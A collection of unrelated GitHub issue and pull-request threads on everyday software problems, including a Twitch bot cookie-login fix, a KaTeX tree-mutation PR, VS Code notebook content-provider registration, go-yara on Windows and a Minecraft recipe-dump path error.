[Bug] Get errors  trying login using auth token

Console output screenshot
2022-09-26_155636
.
Logs
log-1664196735471.txt
Config screenshot

Excatly the same problem here.

I had this issue as well did a quick dirty fix in de builded js files where I first open a new page and than pull that device id instead of using a existing one...
`let deviceId = undefined;
for (const cookie of cookies) {
switch (cookie["name"]) {
case "auth-token": // OAuth token
oauthToken = cookie["value"];
break;
case "persistent": // "channelLogin" Used for "DropCampaignDetails" operation
channelLogin = cookie["value"].split("%3A")[0];
break;
case "unique_id":
deviceId = cookie["value"];
break;
}
}
if (!oauthToken) {
throw new Error("Invalid cookies!");
}
/if (!deviceId) {
throw new Error("Missing device ID!");
}/
// Seems to be the default hard-coded client ID
// Found in sources / static.twitchcdn.net / assets / minimal-cc607a041bc4ae8d6723.js
const page = yield browser.newPage();
yield page.setCookie(...cookies);
yield page.goto("https://www.twitch.tv", {"waitUntil": "networkidle0"});
const page_cookies = yield page.cookies();
for (const page_cookie of page_cookies) {
if (page_cookie["name"] == "unique_id"){
deviceId = page_cookie["value"];
break;
}
}
const client = new Client({ oauthToken: oauthToken, userId: channelLogin, deviceId: deviceId });
if (!channelLogin) {
yield client.autoDetectUserId();
logger.info("auto detected user id");
}
        // Convert all game IDs/names to IDs
        if (options === null || options === void 0 ? void 0 : options.gameIds) {`

I had this issue as well and did a quick dirty fix in the built js files, I first open a new page and than pull that unique_id instead of using an existing one...

Create cookies-username.json and export cookie by hand form EditThisCookie, save, try to launch.

let deviceId = undefined;

Mind posting the entire file? Not sure which one you modified.

I had this issue as well and did a quick dirty fix in the built js files, I first open a new page and than pull that unique_id instead of using an existing one...

Create cookies-username.json near README.md and export cookie by hand form EditThisCookie, save, try to launch.

Tried this and it's not working for me, same exact error, does not seem to try and load the cookie or the cookie does not have the device id already somehow.

Show cookies-username.json

In cookies-username.json your username needs to be lowercase.


Improve Docs

Hi @ankit4-com - thanks for submitting this pull request! However, it doesn't look like this change is grammatically correct so I'm going to go ahead and close this pull reqeust.


ArgumentNullException in UWP

1) Please check all of the platforms you are having the issue on

[x] UWP
[x] PCL

2) Please state the issue to the best of your ability below
I have just added UWP to my Xamarin-project, but I get some wierd behavior from Acr.UserDialogs.
When using PromptAsync and Confirm I get 2 ArgumentNullExceptions.
How can I fix these?
I am using these NuGet packages (in UWP project)
Acr.UserDialogs                              v5.2.2
Acr.XamForms.UserDialogs                     v5.0.0
Microsoft.NetCore.UniversalWindowsPlatform   v5.1.0
MR.Gestures                                  v1.3.4
SQLite.Net-PCL                               v3.1.1
Xam.Plugins.Settings                         v2.1.0
Xamarin.Forms                                v<IP_ADDRESS>
Xamarin.Insights                             v1.12.3
XLabs.Forms                                  v2.2.0-pre02

I hope for your help.
3) Please copy and paste the exception details below.  If you are having a crash and this detail is missing, your issue will be closed without warning.
Exception thrown: 'System.ArgumentNullException' in mscorlib.ni.dll
Exception thrown: 'System.ArgumentNullException' in mscorlib.ni.dll
When running e.g.
return await UserDialogs.Instance.PromptAsync(new PromptConfig
{
   Title = title,
   Message = message,
   OkText = positiveText,
   CancelText = negativeText,
   InputType = InputType.Default,
   IsCancellable = !String.IsNullOrWhiteSpace(negativeText)
}, CancellationToken.None);

I need the entire stacktrace of your exception please

I got this from Immediate Window
Message: "Value cannot be null."
ParamName: null
Source: "mscorlib"
StackTrace: "   at System.StubHelpers.HStringMarshaler.ConvertToNativeReference(String managed, HSTRING_HEADER* hstringHeader)\r\n   at Windows.UI.Xaml.Controls.TextBox.put_PlaceholderText(String value)\r\n   at Acr.UserDialogs.UserDialogsImpl.SetDefaultPrompt(ContentDialog dialog, StackPanel stack, PromptConfig config)\r\n   at Acr.UserDialogs.UserDialogsImpl.Prompt(PromptConfig config)\r\n   at Acr.UserDialogs.AbstractUserDialogs.PromptAsync(PromptConfig config, Nullable`1 cancelToken)"

Fixed in 5.3/6.0beta

When are you going to release 5.3 as NuGet stable?

Whenever I have time to finish it


ConcurrentModificationException when executing delete from

ConcurrentModificationException was raised due to the same ShardRequest object being when executing the current bulk for the operation, which at some point called ShardRequest.toString which iterates over the items in the request, and collecting more rows for the next bulk (these new rows were accumulated in the same items collection in the request)

Codecov Report

Merging #5760 into master will decrease coverage by <.01%.
The diff coverage is 100%.

@@             Coverage Diff              @@
##             master    #5760      +/-   ##
============================================
- Coverage     82.99%   82.98%   -0.01%
- Complexity    11801    11809       +8
============================================
  Files          1395     1395
  Lines         45387    45388       +1
  Branches       5624     5624
============================================
- Hits          37670    37667       -3
- Misses         5091     5097       +6
+ Partials       2626     2624       -2

Impacted Files
Coverage Δ
Complexity Δ

...o/crate/operation/projectors/ShardDMLExecutor.java
92.85% <100%> (ø)
12 <0> (ø)
:arrow_down:

...java/io/crate/executor/transport/ShardRequest.java
84.05% <100%> (+0.23%)
19 <1> (+1)
:arrow_up:

...exceptions/GroupByOnArrayUnsupportedException.java
66.66% <0%> (-33.34%)
1% <0%> (-1%)

...ration/collect/collectors/OrderedDocCollector.java
90% <0%> (-10%)
5% <0%> (-1%)

...peration/collect/BatchIteratorCollectorBridge.java
65.78% <0%> (-7.9%)
2% <0%> (ø)

...ain/java/io/crate/lucene/GenericFunctionQuery.java
63.82% <0%> (-6.39%)
9% <0%> (-1%)

...rc/main/java/io/crate/analyze/UnboundAnalyzer.java
90% <0%> (-5%)
2% <0%> (ø)

.../distributed/TransportDistributedResultAction.java
73.84% <0%> (-4.62%)
9% <0%> (ø)

...or/transport/distributed/DistributingConsumer.java
75.96% <0%> (-3.85%)
21% <0%> (ø)

.../collect/collectors/LuceneOrderedDocCollector.java
90.58% <0%> (-3.53%)
26% <0%> (-1%)

... and 22 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9eb05fa...87dc74a. Read the comment docs.


Add a warning about Dev guidelines chapter's end of life

(hopefully) to avoid any new changes in this chapter

Can I merge this?

Thanks Yves


mailutils: 2.2 -> 3.2

Motivation for this change
Fixes #27475. (Probably leaves #21008 open.)
Things done

[x] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] macOS
[x] Linux

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

This fails with sandboxing turned on. I'll have a look if I can fix this right away.
@Mic92 the patch didn't apply, I added an excludes param to fetchpatch.

I tested with sandboxing.
A travis job suddenly failed with fetchgit hash mismatch: https://travis-ci.org/NixOS/nixpkgs/jobs/256661069 . It used to pass, and fetchgit arguments have not changed. I don't know how this is possible.

It seems that making git checkout work is too much effort. I'd prefer to return to the first commit in this pull request, but download the patch and missing files from gentoo repository: #27595

FYI this builds fine for me locally. (Don't have much more to test than building unfortunately). Thanks for the fix, orivej!

Superseeded by #27595


[Tabs] Indicator in  doesn't support fade transition and icon indicator.

Describe the bug
The indicator in <m-tab> only supports slide transition and only presents in underline. It doesn't support fade transition and icon indicator. Although <m-tab-indicator> has the full support of all the indicator types and transitions, there's no way to put it inside the <m-tab>.
Possible solution
Add indicatorType and indicatorTransition and/or add a indicator slot to <m-tab>.

fixed in #443


Lock to lifted-base-<IP_ADDRESS> for GHC 7.8.4

/cc @charleso

In the meantime I've files an issue upstream, we should probably send them a patch, but I'm not yet sure why they did s/Trustworthy/Safe in the first place. /cc @erikd-ambiata

Thanks @jystic

👍

Is this going to break in anything downstream that's using 7.8?


buildHTML's buildExpression is destructive, changing the tree object.

This clones the object first before manipulating it, ensuring that the tree object will remain the same (right now if buildHTML was run before buildMathML, buildMathML would have weird failures).
I was able to reproduce this by running \vec{A}^2 through KaTeX. Without this change tree becomes:
[
    {
        "type": "supsub",
        "value": {
            "base": {
                "type": "ordgroup",
                "value": [
                    {
                        "type": "mathord",
                        "value": "A",
                        "mode": "math"
                    }
                ],
                "mode": "math"
            },
            "sup": {
                "type": "textord",
                "value": "2",
                "mode": "math"
            }
        },
        "mode": "math"
    }
]

With this change it's left as the correct:
[
    {
        "type": "supsub",
        "value": {
            "base": {
                "type": "accent",
                "value": {
                    "type": "accent",
                    "accent": "\\vec",
                    "base": {
                        "type": "ordgroup",
                        "value": [
                            {
                                "type": "mathord",
                                "value": "A",
                                "mode": "math"
                            }
                        ],
                        "mode": "math"
                    }
                },
                "mode": "math"
            },
            "sup": {
                "type": "textord",
                "value": "2",
                "mode": "math"
            }
        },
        "mode": "math"
    }
]

I should note that I couldn't think of a good way to test this, as it would require inspection of the contents at runtime. I'm open to suggestions, though!

cc: @ariabuckles @xymostech

This is known (hence this comment https://github.com/Khan/KaTeX/blob/v0.3.0/src/buildTree.js#L9-L10) and I think our eventual goal was to just make buildHTML not mutate the tree. Curious why this is causing you problems.

@spicyj Ah, I missed that comment! Perhaps this can be a stop-gap, at least, to hopefully provide some consistency to buildHTML. Presumably if the method is ever updated to not be destructive this logic can just be removed.
As to why I encountered this: I'm writing a KaTeX plugin which will support exporting math formulas as english strings (e.g. "x^2" becomes "x to the power of 2"). We're continuing to have problems with MathML in screen readers (sometimes they don't read it, many browsers read it incorrectly, sometimes it's double-read) whereas a pure-English (hopefully i18n, as well!) string seems to work everywhere. This is a technique that is used by other entities, as well.

Is tree always valid JSON? I don't recall – maybe @xymostech knows. If it is, I'd rather do JSON.parse(JSON.stringify(tree)) to do a deep clone here which tends to be fast and has very clear semantics. Generic deep clone functions are generally hard to reason about – what are their semantics when passed a function? an array? a self-referential object? a DOM node? an object with nonenumerable keys? Or maybe the constructor throws when you call it with no arguments (like your code does here). There's really no way to do write a deep clone function that works for all cases since you need to understand the data and object model.
…but if the data is just JSON, it's pretty clear how it should work. :)

@spicyj I was totally going to do the JSON.parse(JSON.stringify(tree)) technique but then I saw that KaTeX supports IE 8, thus I went with the manual solution :) I don't /think/ it contains non-JSON stuff but yeah, would be good to verify that.
...also @xymostech and I just chatted and we may be able to table this for now as I might be able to pursue my modifications from another direction which won't make this necessary (at least not for now).

@jeresig I'm fairly sure that the tree is pure JSON, so that solution should work. Also, it looks like IE 8 does support both JSON.parse and JSON.stringify (http://caniuse.com/#feat=json) , so that should be fine?
I think it's pretty reasonable to just merge this in. I've been bitten by this mutating the tree before anyway.

Oh wow, ok! Sigh, I have such outdated JS knowledge in my brain. Ok, I'll update to use the JSON technique.

:+1:

Great! Can you squash the commits?

@xymostech done!

I wonder, if this hits performance or not (for large amount of expressions)...
(Excuse my obsession with performance, but I am "the C guy". :+1: )

It's absolutely inefficient. The buildHTML code should be changed to not be
destructive -- at which point this can just be removed. Unfortunately I
don't know the buildHTML sub-systems as well but if someone is willing to
tackle this then that'd be fantastic!
On Fri, May 8, 2015 at 11:25 AM, Peter Bocan<EMAIL_ADDRESS>wrote:

I wonder, if this hits performance or not (for large amount of
expressions)...
(Excuse my obsession with performance, but I am "the C guy". [image: :+1:]
)
—
Reply to this email directly or view it on GitHub
https://github.com/Khan/KaTeX/pull/225#issuecomment-100272460.

@PeterBocan We care about perf too. JSON.parse and JSON.stringify are actually very fast in most browsers and this is unlikely to take a significant cost, especially in comparison to the parsing itself and DOM tree-building. Still would be nice to get rid of it though.


Update and add imports to examples in readme.

Three commits:
Format and add imports to tracing example in readme.
Update and add imports to stats example in readme.
Changes in this commit:

Remove use of deprecated AggregationWindow.
Make methods public to show that they could be called by code that isn't part of the example.
Rename the class for consistency with the tracing example.
Run google-java-format.

Remove use of deprecated AggregationWindow from QuickStart.java.

Codecov Report

Merging #1305 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master    #1305   +/-   ##
=========================================
  Coverage     82.59%   82.59%
  Complexity     1302     1302
=========================================
  Files           198      198
  Lines          6382     6382
  Branches        585      585
=========================================
  Hits           5271     5271
  Misses          951      951
  Partials        160      160

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 17aa3eb...108bd04. Read the comment docs.

Thanks!


Default values file includes data which should not be default

Default values for ingress include a new ingress class name of "test" which breaks existing ingress implementations which previously specified the ingress annotation kubernetes.io/ingress.class: nginx (except in the extremely unlikely situation where someone is using an ingress class of "test").  Aside from the breakage, it includes several additional default values which would be inappropriate in an active deployment.  Those should probably be a commented-out example. :)
https://github.com/diggerhq/helm-charts/blob/main/charts/digger-backend/values.yaml#L45-L55

resolved in #14


Semantic UI, jQuery and Vue webpack error

Semantic UI has a dependency on jQuery and I can't seem to get around the error below. I've tried importing jQuery in main.js and in the file where I need to use jQuery (for semantic UI's form validation). Any ideas how to fix it?
TypeError: jquery__WEBPACK_IMPORTED_MODULE_0___default(...)(...).form is not a function"

Hey @colby02184!
Was this issue opened against the correct repo?  Did your run into a problem with one of our samples? Can you add more details on how we can reproduce the problem?


Statement of Faith?

Hi Andy! It's your software of course and yours to do with as you please, but I do wonder if you're serious about the contents of STATEMENT_OF_FAITH.md. So what if a Hindu, Muslim, Buddhist, or let's say an atheist with a record of having shown ethically sound behaviour in their life would want to use glimmer-dsl-tk?

Seriously. Not even an answer. How very Christian of you.


The storage control block address is invalid.

Hey,
I managed to successfully compile go-yara for windows and I am trying to run the example script that was provided. However, when I attempt to read and parse in the rules from a file, I would get Could not parse rule file yara.yar: The storage control block address is invalid. The rule file yara.yar contains a sample rule: rule dummy { condition: true }
I am calling my script using go run scanner.go -rule "yara.yar" test.go
Is it possible that I compiled the go-yara binary wrongly or am I using the example script wrongly?
Thank you.

@Greatnest The error message "The storage control block address is invalid" is produced by a Windows API, most likely when opening the rule file.
Can you provide a minimal reproducer (including instructions on how to compile your test program)?
Does everything work if you read the rules file into a buffer and pass that to (*Compiler).AddString?

@hillu I followed mcastilho's Issue #7 instructions for compiling for Windows x64. I then installed TDM-GCC and copied the built libyara.a as the library to be used under C:\TDM-GCC-64\x86_64-w64-mingw32\lib. I then use your simple-yara.go example as the starting script.
The command I ran was go run simple-yara.go -rule yara.yar test.go. test.go is the file I want to run the yara rules on. I would get the same error when I ran go build simple-yara.go and running the binary using the same arguments. I am able to os.Open the file and read in contents of the file normally, it is during the c.AddFile(f, "namespace") that it errors.
(*Compiler).AddString works for me when I add the individual rule that is read from the file. If (*Compiler).AddString only reads a single rule at time, it would mean that I have to parse and extract each individual rule from the a file containing multiple rules correct?

@Greatnest Please check if commit 2dbfae3ea51920ecda0dd2615a7f390911e23e06 on branch compiler_addfile_split fixes the problem for you.

@hillu okay, based on my testings, the  commit seems to be working fine for both AddString and AddFile and your example script works as intended.
Thanks for the help!

Alright, then the commit is going into master. Thank you @Greatnest!


Remove call of setIdeMode

setIdeMode is slated to be removed/deprecated soon. It should be replaced with the set of individual option calls that comprise setIdeMode's current implementation. See: https://github.com/google/closure-compiler/blob/master/src/com/google/javascript/jscomp/CompilerOptions.java#L1866

Note, I'm guessing that most of the options that setIdeMode now will be unnecessary, but I wanted to get your input. I'm not sure on exactly what js dossier relies on.


Content providers do not have exclusive property on vscode.dev

Version: 1.64.2
Commit: f80445acd5a3dadef24aa209168452a3d97cc326
Date: 2022-02-09T22:00:24.333Z
Browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.80 Safari/537.36 Edg/98.0.1108.50
Live Share Jupyter notebooks in vscode.dev are currently broken because the Live Share content provider is not being used to open the files. Rather, the built-in vscode.dev Jupyter notebooks provider is being used.
We used to use the exclusive flag in NotebookRegistrationData to mark a content provider as the default one for a file type. PR here: https://github.com/microsoft/vscode/commit/f5b2c93911a4c8115387c297db61e1d1efc71d96. When I made a repro extension, vscode.proposed.notebookContentProvider.d.ts:registerNotebookContentProvider does not include a parameter for NotebookRegistrationData, so it looks like that option has been removed?
We need a way to mark Live Share content providers as 'default' or 'exclusive' so that they are used rather than the built-in ones.
This extension creates a content provider for *.ipynb files, but when opening one on web, the file automatically opens and shows the built-in default was selected:

extension.ts
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
	const contentProvider = new NotebookContentProvider('ally-vsls');
	context.subscriptions.push(vscode.workspace.registerNotebookContentProvider(
		'ally-vsls',
		contentProvider,
		{
			transientOutputs: false,
			transientCellMetadata: {},
			transientDocumentMetadata: {}
		}
	));
	context.subscriptions.push(vscode.workspace.onDidOpenNotebookDocument((document: vscode.NotebookDocument) => onDidOpenNotebookDocument(document)));
}
export function deactivate() {}
class NotebookContentProvider implements vscode.NotebookContentProvider {
    constructor(private readonly viewType: string) {}
    async openNotebook(uri: vscode.Uri): Promise<vscode.NotebookData> {
        let metadata = {};
        return {cells: [ new vscode.NotebookCellData(vscode.NotebookCellKind.Code, 'Ally\'s Content Provider', 'cpp')], metadata: metadata};
    }
    async saveNotebook(): Promise<void> { }
    async saveNotebookAs(): Promise<void> { }
    async backupNotebook(): Promise<vscode.NotebookDocumentBackup> { return { id: '', delete: () => { } }; }
}

cc @rebornix

https://github.com/microsoft/vscode/blob/4a130c40ed876644ed8af2943809d08221375408/src/vscode-dts/vscode.proposed.notebookLiveShare.d.ts#L13
@alyssajotice The exclusive flag is now in notebookLiveShare proposed api so you may need to add that to you enable proposed api list.

@rebornix this is not working for me. I made a new repro extension with the exclusive flag.
I am testing using this method on insiders.vscode.dev. When I open a .ipynb file, I see the following:

I would expect ally-vsls to be the default provider when using the exclusive flag.
extension.ts
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
	const contentProvider = new NotebookContentProvider('ally-vsls');
	context.subscriptions.push(vscode.workspace.registerNotebookContentProvider(
		'ally-vsls',
		contentProvider,
		{
			transientOutputs: false,
			transientCellMetadata: {},
			transientDocumentMetadata: {}
		},
		{
			displayName: `Live Share`,
			filenamePattern: ['*'],
			exclusive: true
		}
	));
	context.subscriptions.push(vscode.workspace.onDidOpenNotebookDocument((document: vscode.NotebookDocument) => onDidOpenNotebookDocument(document)));
}
export function deactivate() {}
class NotebookContentProvider implements vscode.NotebookContentProvider {
    constructor(private readonly viewType: string) {}
    async openNotebook(uri: vscode.Uri): Promise<vscode.NotebookData> {
        let metadata = {};
        return {cells: [ new vscode.NotebookCellData(vscode.NotebookCellKind.Code, 'Ally\'s Content Provider', 'cpp')], metadata: metadata};
    }
    async saveNotebook(): Promise<void> { }
    async saveNotebookAs(): Promise<void> { }
    async backupNotebook(): Promise<vscode.NotebookDocumentBackup> { return { id: '', delete: () => { } }; }
}

package.json
	"contributes": {
		"notebooks": [
            {
                "id": "ally-vsls",
                "type": "ally-vsls",
                "displayName": "ally-vsls",
                "selector": [
                    {
                        "filenamePattern": "*.ipynb"
                    }
                ]
            }
        ],
}

@alyssajotice thanks for the detailed steps 👍
https://github.com/microsoft/vscode/blob/5ca45d8e11a4783584fe6d74064947d4f6e2f14c/src/vs/workbench/contrib/notebook/browser/notebookServiceImpl.ts#L232-L238
@jrieken it seems that we don't allow the extension registration to override the initial registrations from the static contributions. In the live share case, they would register a serializer/contentProvider with an exclusive flag but it doesn't override the previous registration and throws an error.

I see the bug but I also wonder if the approach of overriding content providers is really thought through. Since this can happen any time, e.g LS comes late with its exclusive/overriding content provider, there can be the situation where notebook working copies already exists. What is supposed to happen to them? Do we expect a transparent handover?
Also, stepping back one more step. What's the point of exclusive content provider again? I mean why are they needed? To my understanding, LS registers a remote file system and an existing, local content provider should be able to handles notebooks coming from that FS too.

There are a few reasons we register local content providers. First, we provide Live Share support even if a guest does not have a content provider extension downloaded. Another reason is that we need the guest and the host to have the exact same document data so we can provide coediting and syncing. For example, if a guest installs version 2 of a notebook extension, and the host has version 1, one version could have extra data in the cells, making it impossible to be sure they have the same content. We also use this for cell operations: we add an id to each cell for the Live Share content provider to help track moving, adding, and deleting cells. Last, we register our notebook controller to be activated for all notebook files. I'm not sure if it would work if we had multiple controllers trying to execute notebook cells.
@daytonellwanger and I brainstormed a few ideas. What if we created a setting for the user to specify which content provider they'd like to use? Then we can override that setting to favor the Live Share one. To address the timing issue where the user's built in content provider opens the notebook before Live Share's content provider is created, then we can add a toast to ask the user if they want to use Live Share's provider, and if so, we can close and reopen the notebook with the correct provider.
Another thing I'd like to address: we do not have this issue when sharing/joining from VS Code desktop. What difference in web could be causing this problem? Is there a simpler solution here where we could make the behavior the same?

What difference in web could be causing this problem? Is there a simpler solution here where we could make the behavior the same?

I don't know tbh. There is no if(web) { ... } code, maybe something related to timing or different extension availability?

What if we created a setting for the user to specify which content provider they'd like to use? Then we can override that setting to favor the Live Share one.

That made me wonder if you really need to override existing notebook types? Could it be additive, e.g contributing another notebook serializer that always delegates to LiveShare? Users can then pick which extension to use and we can help to make sure LiveShare is a "strong" default. It should also make it simpler to associate the LS notebook controller from the host, but it would make it hard to use a guest-side controller for a host-side notebook (which I am unsure if that's actually wanted or not...)

For reference, here is a sample extension.ts on desktop that works as expected.
extension.ts
import * as vscode from 'vscode';
export function activate(context: vscode.ExtensionContext) {
	const contentProvider = new NotebookContentProvider('ally-vsls');
	context.subscriptions.push(vscode.workspace.registerNotebookContentProvider(
		'ally-vsls',
		contentProvider,
		{
			transientOutputs: false,
			transientCellMetadata: {},
			transientDocumentMetadata: {}
		},
		{
			displayName: `Live Share`,
			filenamePattern: ['*'],
			exclusive: true
		}
	));
}
export function deactivate() {}
class NotebookContentProvider implements vscode.NotebookContentProvider {
    constructor(private readonly viewType: string) {}
    async openNotebook(uri: vscode.Uri): Promise<vscode.NotebookData> {
        let metadata = {};
        return {cells: [ new vscode.NotebookCellData(vscode.NotebookCellKind.Code, 'Ally\'s Content Provider', 'cpp')], metadata: metadata};
    }
    async saveNotebook(): Promise<void> { }
    async saveNotebookAs(): Promise<void> { }
    async backupNotebook(): Promise<vscode.NotebookDocumentBackup> { return { id: '', delete: () => { } }; }
}

package.json
		"notebooks": [
            {
                "id": "ally-notebook",
                "type": "ally-notebook",
                "displayName": "ally-notebook",
                "selector": [
                    {
                        "filenamePattern": "*.ipynb"
                    }
                ]
            }
        ],

When this extension is activated and I click to open a *.ipynb file, it opens with my content provider.
One interesting thing to note is that when I right click on the files, there is no Open with option like there is on web. I am going to take a minute to address your previous comment.

it would make it hard to use a guest-side controller for a host-side notebook

We do have one guest-side controller for the host-side notebooks. The controller proxies execution requests to the host and updates the cell's execution states and outputs using execution tasks. We couldn't give the guest the ability to execute cells without it.

maybe something related to...different extension availability

Could there be something wrong with the built-in web python notebooks extension? Is there a built-in python notebooks extension for desktop? Perhaps that is the difference?

One interesting thing to note is that when I right click on the files, there is no Open with option like there is on web. I am going to take a minute to address your previous comment.

Yeah, I don't know why that is. @lramos15 would you know? Can an editor be so exclusive that it hides all others, like builtin text and such? On first load I do get the notification asking if I want to use it as default but no chance to revisit that?
@alyssajotice btw - I am running your sample code successfully in web and desktop. That is expected because in the sample no conflicting notebook types are defined. So when LS registers its content provider does it use jupyter-notebook as id or vls-jupyter-notebook. The former will be problematic, the latter should be fine

I am running your sample code successfully in web and desktop. That is expected because in the sample no conflicting notebook types are defined. So when LS registers its content provider does it use jupyter-notebook as type or vls-jupyter-notebook. The former will be problematic, the latter should be fine.

I am a bit confused by what you mean by this. If you're referring to the most recent extension.ts I provided, I would expect this to not work on web. This is what I would expect: https://github.com/microsoft/vscode/issues/143412#issuecomment-1071185412. My extension specifies notebook type ally-vsls and Live Share uses vsls-... for our notebook types.

I would expect ally-vsls to conflict with the built-in python content provider because they both have the same filenamePattern *.ipynb

We do support that - you can have multiple possible editors for a file type. Unless "exclusive" is used, VS Code allows you to open a file with any of them and also allows to reopen a file with another editor. Notebooks also support that. What's not supported is

define the same notebook type multiple times, e.g you can have {"type": "ally-notebook", "selector": [{"filenamePattern": "*.ipynb" }]} and {"type": "jupyter-notebook", "selector": [{"filenamePattern": "*.ipynb" }]} because the type property is different but you cannot reuse the same type property
you can reopen notebooks with different serialisers (different notebook types) but one file can only opened as one notebook type at a time.

This is now fixed, to verify

have two content providers for one file type
double click to open a notebook file (make sure it isn't in preview mode, tab title must not be italic)
from the tab context menu select "reopen with" and select the alternative notebook type
the editor content changes, no errors

Are these changes on Insiders, stable, or both? I want to make sure I'm testing correctly.

Insiders for now, will than make it into 1.67 stable

@alyssajotice Did you verify this fix works?


⚠ Bofrost.de has degraded performance

In d200503, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1007 ms

Resolved: Bofrost.de performance has improved in 90c34e8 after 7 minutes.


Cannot resolve bundle chunk-vendors

I don't really understand why I get this error and how to fix this.  As far as I know it is raised from the loader.py module from these lines:
 if assets.get('status') == 'done':
       chunks = assets['chunks'].get(bundle_name, None)
       if chunks is None:
            raise WebpackBundleLookupError('Cannot resolve bundle {0}.'.format(bundle_name))
        return self.filter_chunks(chunks)

My settings.py file:
VUE_FRONTEND_DIR = os.path.join(BASE_DIR, 'vue_frontend')

points django-webpack-loader to the stats file we generate during our Vue build
WEBPACK_LOADER = {
    'DEFAULT': {
        'CACHE': not DEBUG,
        'BUNDLE_DIR_NAME': 'vue/',  # must end with slash
        'STATS_FILE': os.path.join(VUE_FRONTEND_DIR, 'webpack-stats.json'),
        'POLL_INTERVAL': 0.1,
        'TIMEOUT': None,
        'IGNORE': [r'.+\.hot-update.js', r'.+\.map']
    }
}

My vue.config.js contains this:
config.optimization
            .splitChunks({
                cacheGroups: {
                    vendor: {
                        test: /[\\/]node_modules[\\/]/,
                        name: "chunk-vendors",
                        chunks: "all",
                        priority: 1
                    },
                },
            });

Hi @ghadjigeorghiou, I have just released an alternative to this package that handles split chunks quite well. If you're still in need to solve this problem give it a shot and let me know how it goes: Django Manifest Loader


plugin.xml file is missing

Not able to generate app after adding the this plugin in our project.
I am using Outsystems ide (service studio) for integration.
What i can find out is  plugin.xml file is missing.
I am new to mobile development so learning how i can create its plugin.xml, but if you can help me out by adding the same here, will be great.
I also tried to use the L.TileLayer.Cordova.js file directly in project and added all dependency like file, file transfer and cordova console plugin. then i was able to load and save tile properly on device in online mode but not able to load tile in offline mode

Could you give this a try and let me know whether it works for you?
<?xml version='1.0' encoding='utf-8'?>
<plugin id="leaflet-tilelayer-cordova" version="1.2.3" xmlns="http://apache.org/cordova/ns/plugins/1.0" xmlns:android="http://schemas.android.com/apk/res/android">
    <name>L.TileLayer.Cordova</name>
    <description>Leaflet TileLayer subclass which caches to local filesystem, for Cordova/Phonegap</description>
    <license>MIT</license>
    <keywords>cordova,leaflet,tilelayer,map tiles,cache</keywords>
    <author>https://github.com/gregallensworth</author>

    <js-module name="leaflet-tilelayer-cordova" src="src/leaflet-tilelayer-cordova.js">
    </js-module>
</plugin>

I haven't been doing mobile development lately and my system isn't set up for it, so it could be some time before I have an opportunity to try it myself, and update the whole package to newer APIs and versions.

I tried to use this but nothing changed, still getting the same errors
below is the my fork url where i have made changes.
https://github.com/preetikumarigithub/Outsystems.git

In your screenshot above, I didn't see a clear indication of a plugin.xml issue. If the issue were that your IDE requires plugin.xml, I would expect that Outsystems would refuse to integrate the plugin. I haven't used Outystems before,
The errors in your screenshot looked to be about device permissions, or perhaps the path name. Can you double-check that those paths are correct? I see /files/files/ in there for example, and perhaps that should just be /files/ ?
Noting for reference, your related post on this topic to Outsystems. https://www.outsystems.com/forums/discussion/55511/not-allowed-to-load-local-resource-from-outsystems-mobile-app/


Error on dumping recipes in ATM9

when dumping the macerator recipe from gregtech the mod seems to create an invalid path (with a :)
Command exception: /dump recipes
java.nio.file.InvalidPathException: Illegal char <:> at index 13: recipes/gtceu:macerator/minecraft/air.json
	at java.base/sun.nio.fs.WindowsPathParser.normalize(WindowsPathParser.java:182)
	at java.base/sun.nio.fs.WindowsPathParser.parse(WindowsPathParser.java:153)
	at java.base/sun.nio.fs.WindowsPathParser.parse(WindowsPathParser.java:77)
	at java.base/sun.nio.fs.WindowsPath.parse(WindowsPath.java:92)
	at java.base/sun.nio.fs.WindowsFileSystem.getPath(WindowsFileSystem.java:232)
	at java.base/java.nio.file.Path.resolve(Path.java:515)
	at TRANSFORMER/recipedumper@0.3.0/redstonedev.recipedumper.DumpWriter.writeDump(DumpWriter.java:24)
	at TRANSFORMER/recipedumper@0.3.0/redstonedev.recipedumper.DumpWriter.writeRecipeDump(DumpWriter.java:80)
	at TRANSFORMER/recipedumper@0.3.0/redstonedev.recipedumper.Dumper.dumpRecipes(Dumper.java:50)
	at MC-BOOTSTRAP/brigadier@1.1.8/com.mojang.brigadier.CommandDispatcher.execute(CommandDispatcher.java:264)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.commands.Commands.m_242674_(Commands.java:257)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.network.ServerGamePacketListenerImpl.m_246958_(ServerGamePacketListenerImpl.java:1246)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.network.ServerGamePacketListenerImpl.m_244885_(ServerGamePacketListenerImpl.java:1223)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.util.thread.BlockableEventLoop.m_18693_(BlockableEventLoop.java:67)
	at java.base/java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1768)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.TickTask.run(TickTask.java:18)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.util.thread.BlockableEventLoop.m_6367_(BlockableEventLoop.java:156)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.util.thread.ReentrantBlockableEventLoop.m_6367_(ReentrantBlockableEventLoop.java:23)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_6367_(MinecraftServer.java:770)
	at TRANSFORMER/minecraft@1.20.1/net.minecraft.server.MinecraftServer.m_6367_(MinecraftServer.java:161)
